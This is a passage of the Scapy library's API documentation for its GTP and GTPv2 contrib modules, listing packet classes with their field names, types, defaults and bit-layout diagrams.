 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |RESTART COUNTER|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. IE_Recovery                         


IE_Recovery fields






	ietype

	ByteEnumField

	14



	restart_counter

	ByteField

	24















	
class scapy.contrib.gtp.IE_ReorderingRequired(_pkt, /, *, ietype=8, reordering_required=254)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L481-L484]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |REORDERING REQU|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. IE_ReorderingRequired                    


IE_ReorderingRequired fields






	ietype

	ByteEnumField

	8



	reordering_required

	ByteEnumField

	254















	
class scapy.contrib.gtp.IE_Routing(_pkt, /, *, ietype=3, MCC=b'', MNC=b'', LAC=None, RAC=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L470-L478]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |              MCC              |      MNC      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LAC              |      RAC      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. IE_Routing                          


IE_Routing fields






	ietype

	ByteEnumField

	3



	MCC

	TBCDByteField

	b''



	MNC

	TBCDByteField

	b''



	LAC

	ShortField

	None



	RAC

	ByteField

	None















	
class scapy.contrib.gtp.IE_SelectionMode(_pkt, /, *, ietype=15, SelectionMode=11111100)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L493-L498]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    | SELECTIONMODE |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. IE_SelectionMode                       


IE_SelectionMode fields






	ietype

	ByteEnumField

	15



	SelectionMode

	BitEnumField

	11111100















	
class scapy.contrib.gtp.IE_TEICP(_pkt, /, *, ietype=17, TEICI=<RandInt>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L507-L510]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |                     TEICI                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. IE_TEICP                           


IE_TEICP fields






	ietype

	ByteEnumField

	17



	TEICI

	XIntField

	<RandInt>















	
class scapy.contrib.gtp.IE_TEIDI(_pkt, /, *, ietype=16, TEIDI=<RandInt>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L501-L504]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |                     TEIDI                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. IE_TEIDI                           


IE_TEIDI fields






	ietype

	ByteEnumField

	16



	TEIDI

	XIntField

	<RandInt>















	
class scapy.contrib.gtp.IE_Teardown(_pkt, /, *, ietype=19, indicator=255)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L513-L516]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |   INDICATOR   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. IE_Teardown                         


IE_Teardown fields






	ietype

	ByteEnumField

	19



	indicator

	ByteEnumField

	255















	
class scapy.contrib.gtp.IE_TraceReference(_pkt, /, *, ietype=27, Trace_reference=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L546-L550]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |        TRACE REFERENCE        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. IE_TraceReference                      


IE_TraceReference fields






	ietype

	ByteEnumField

	27



	Trace_reference

	XBitField  (16 bits)

	None















	
class scapy.contrib.gtp.IE_TraceType(_pkt, /, *, ietype=28, Trace_type=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L553-L557]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |           TRACE TYPE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IE_TraceType                         


IE_TraceType fields






	ietype

	ByteEnumField

	28



	Trace_type

	XBitField  (16 bits)

	None















	
class scapy.contrib.gtp.IE_UserLocationInformation(_pkt, /, *, ietype=152, length=None, type=1, MCC=b'', MNC=b'', LAC=None, SAC=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L797-L807]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |      TYPE     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              MCC              |      MNC      |      LAC      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              SAC              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. IE_UserLocationInformation                  


IE_UserLocationInformation fields






	ietype

	ByteEnumField

	152



	length

	ShortField

	None



	type

	ByteField

	1



	MCC

	TBCDByteField

	b''



	MNC

	TBCDByteField

	b''



	LAC

	ShortField

	None



	SAC

	ShortField

	None















	
class scapy.contrib.gtp.QoS_Profile(_pkt, /, *, qos_ei=0, length=None, spare1=0, delay_class=0, reliability_class=0, peak_troughput=0, spare2=0, precedence_class=0, spare3=0, mean_troughput=0, traffic_class=0, delivery_order=0, delivery_of_err_sdu=0, max_sdu_size=None, max_bitrate_up=None, max_bitrate_down=None, redidual_ber=0, sdu_err_ratio=0, transfer_delay=0, traffic_handling_prio=0, guaranteed_bit_rate_up=None, guaranteed_bit_rate_down=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L657-L681]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     QOS EI    |     LENGTH    |SPA|DELAY|RELIA|PEAK TR|S|PRECE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|SPARE|MEAN TROU|TRAFF|DEL|DELIV|  MAX SDU SIZE | MAX BITRATE UP|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|MAX BITRATE DOW|REDIDUA|SDU ERR|TRANSFER |TRAFF|GUARANTEED BIT |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|GUARANTEED BIT |
+-+-+-+-+-+-+-+-+

                         Fig. QoS_Profile                         


QoS_Profile fields






	qos_ei

	ByteField

	0



	length

	ByteField

	None



	spare1

	XBitField  (2 bits)

	0



	delay_class

	XBitField  (3 bits)

	0



	reliability_class

	XBitField  (3 bits)

	0



	peak_troughput

	XBitField  (4 bits)

	0



	spare2

	BitField  (1 bit)

	0



	precedence_class

	XBitField  (3 bits)

	0



	spare3

	XBitField  (3 bits)

	0



	mean_troughput

	XBitField  (5 bits)

	0



	traffic_class

	XBitField  (3 bits)

	0



	delivery_order

	XBitField  (2 bits)

	0



	delivery_of_err_sdu

	XBitField  (3 bits)

	0



	max_sdu_size

	ByteField

	None



	max_bitrate_up

	ByteField

	None



	max_bitrate_down

	ByteField

	None



	redidual_ber

	XBitField  (4 bits)

	0



	sdu_err_ratio

	XBitField  (4 bits)

	0



	transfer_delay

	XBitField  (5 bits)

	0



	traffic_handling_prio

	XBitField  (3 bits)

	0



	guaranteed_bit_rate_up

	ByteField

	None



	guaranteed_bit_rate_down

	ByteField

	None















	
class scapy.contrib.gtp.TBCDByteField(name: str, default: Optional[bytes], length: Optional[int] = None, length_from: Optional[Callable[[Packet], int]]  # noqa: E501 = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L178-L208]

	Bases: StrFixedLenField


	
i2h(pkt, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L180-L181]

	




	
i2m(pkt, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L198-L208]

	




	
m2i(pkt, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L183-L196]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.gtp_v2


	
class scapy.contrib.gtp_v2.GTPHeader(_pkt, /, *, version=2, P=1, T=1, MP=0, SPARE1=0, SPARE2=0, gtp_type=None, length=None, teid=0, seq=<RandShort>, msg_priority=0, SPARE3=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L242-L264]

	Bases: GTPHeader


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|VERSI|P|T|M|S|S|    GTP TYPE   |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              TEID                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SEQ                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|MSG PRI|     SPARE3    |
+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. GTPHeader                          


GTPHeader fields






	version

	BitField  (3 bits)

	2



	P

	BitField  (1 bit)

	1



	T

	BitField  (1 bit)

	1



	MP

	BitField  (1 bit)

	0



	SPARE1

	BitField  (1 bit)

	0



	SPARE2

	BitField  (1 bit)

	0



	gtp_type

	ByteEnumField

	None



	length

	ShortField

	None



	teid

	XIntField (Cond)

	0



	seq

	ThreeBytesField

	<RandShort>



	msg_priority

	BitField (Cond) (4 bits)

	0



	SPARE3

	MultipleTypeField (Cond, BitField, ByteField)

	0











	
payload_guess

	Possible sublayers:
GTPCreatePDPContextRequest, GTPCreatePDPContextResponse, GTPDeletePDPContextRequest, GTPDeletePDPContextResponse, GTPEchoRequest, GTPEchoResponse, GTPPDUNotificationRequest, GTPSupportedExtensionHeadersNotification, GTPUpdatePDPContextRequest, GTPUpdatePDPContextResponse, GTP_PDCP_PDU_ExtensionHeader, GTP_UDPPort_ExtensionHeader, GTPV2BearerResourceCommand, GTPV2BearerResourceFailureIndication, GTPV2ContextAcknowledge, GTPV2ContextRequest, GTPV2ContextResponse, GTPV2CreateBearerRequest, GTPV2CreateBearerResponse, GTPV2CreateIndirectDataForwardingTunnelRequest, GTPV2CreateIndirectDataForwardingTunnelResponse, GTPV2CreateSessionRequest, GTPV2CreateSessionResponse, GTPV2DeleteBearerCommand, GTPV2DeleteBearerFailureIndication, GTPV2DeleteBearerRequest, GTPV2DeleteBearerResponse, GTPV2DeleteIndirectDataForwardingTunnelRequest, GTPV2DeleteIndirectDataForwardingTunnelResponse, GTPV2DeleteSessionRequest, GTPV2DeleteSessionResponse, GTPV2DownlinkDataNotifAck, GTPV2DownlinkDataNotifFailureIndication, GTPV2DownlinkDataNotif, GTPV2EchoRequest, GTPV2EchoResponse, GTPV2ModifyBearerCommand, GTPV2ModifyBearerFailureIndication, GTPV2ModifyBearerRequest, GTPV2ModifyBearerResponse, GTPV2ReleaseBearerRequest, GTPV2ReleaseBearerResponse, GTPV2ResumeAcknowledge, GTPV2ResumeNotification, GTPV2SuspendAcknowledge, GTPV2SuspendNotification, GTPV2UpdateBearerRequest, GTPV2UpdateBearerResponse










	
class scapy.contrib.gtp_v2.GTPV2BearerResourceCommand(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1584-L1585]

	Bases: GTPV2Command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. GTPV2BearerResourceCommand                  


GTPV2BearerResourceCommand fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.GTPV2BearerResourceFailureIndication(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1588-L1589]

	Bases: GTPV2Command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            Fig. GTPV2BearerResourceFailureIndication             


GTPV2BearerResourceFailureIndication fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.GTPV2Command(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1531-L1532]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. GTPV2Command                         


GTPV2Command fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.GTPV2ContextAcknowledge(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1664-L1665]

	Bases: GTPV2Command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. GTPV2ContextAcknowledge                   


GTPV2ContextAcknowledge fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.GTPV2ContextRequest(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1653-L1654]

	Bases: GTPV2Command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. GTPV2ContextRequest                     


GTPV2ContextRequest fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.GTPV2ContextResponse(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1657-L1661]

	Bases: GTPV2Command


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1660-L1661]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. GTPV2ContextResponse                     


GTPV2ContextResponse fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.GTPV2CreateBearerRequest(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1607-L1608]

	Bases: GTPV2Command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. GTPV2CreateBearerRequest                   


GTPV2CreateBearerRequest fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.GTPV2CreateBearerResponse(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1611-L1615]

	Bases: GTPV2Command


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1614-L1615]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. GTPV2CreateBearerResponse                  


GTPV2CreateBearerResponse fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.GTPV2CreateIndirectDataForwardingTunnelRequest(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1668-L1669]

	Bases: GTPV2Command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

       Fig. GTPV2CreateIndirectDataForwardingTunnelRequest        


GTPV2CreateIndirectDataForwardingTunnelRequest fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.GTPV2CreateIndirectDataForwardingTunnelResponse(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1672-L1679]

	Bases: GTPV2Command


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1675-L1679]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

       Fig. GTPV2CreateIndirectDataForwardingTunnelResponse       


GTPV2CreateIndirectDataForwardingTunnelResponse fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.GTPV2CreateSessionRequest(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1546-L1547]

	Bases: GTPV2Command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. GTPV2CreateSessionRequest                  


GTPV2CreateSessionRequest fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.GTPV2CreateSessionResponse(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1550-L1554]

	Bases: GTPV2Command


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1553-L1554]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. GTPV2CreateSessionResponse                  


GTPV2CreateSessionResponse fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.GTPV2DeleteBearerCommand(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1576-L1577]

	Bases: GTPV2Command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. GTPV2DeleteBearerCommand                   


GTPV2DeleteBearerCommand fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.GTPV2DeleteBearerFailureIndication(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1580-L1581]

	Bases: GTPV2Command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

             Fig. GTPV2DeleteBearerFailureIndication              


GTPV2DeleteBearerFailureIndication fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.GTPV2DeleteBearerRequest(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1629-L1630]

	Bases: GTPV2Command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. GTPV2DeleteBearerRequest                   


GTPV2DeleteBearerRequest fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.GTPV2DeleteBearerResponse(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1649-L1650]

	Bases: GTPV2Command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. GTPV2DeleteBearerResponse                  


GTPV2DeleteBearerResponse fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.GTPV2DeleteIndirectDataForwardingTunnelRequest(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1682-L1683]

	Bases: GTPV2Command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

       Fig. GTPV2DeleteIndirectDataForwardingTunnelRequest        


GTPV2DeleteIndirectDataForwardingTunnelRequest fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.GTPV2DeleteIndirectDataForwardingTunnelResponse(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1686-L1693]

	Bases: GTPV2Command


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1689-L1693]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
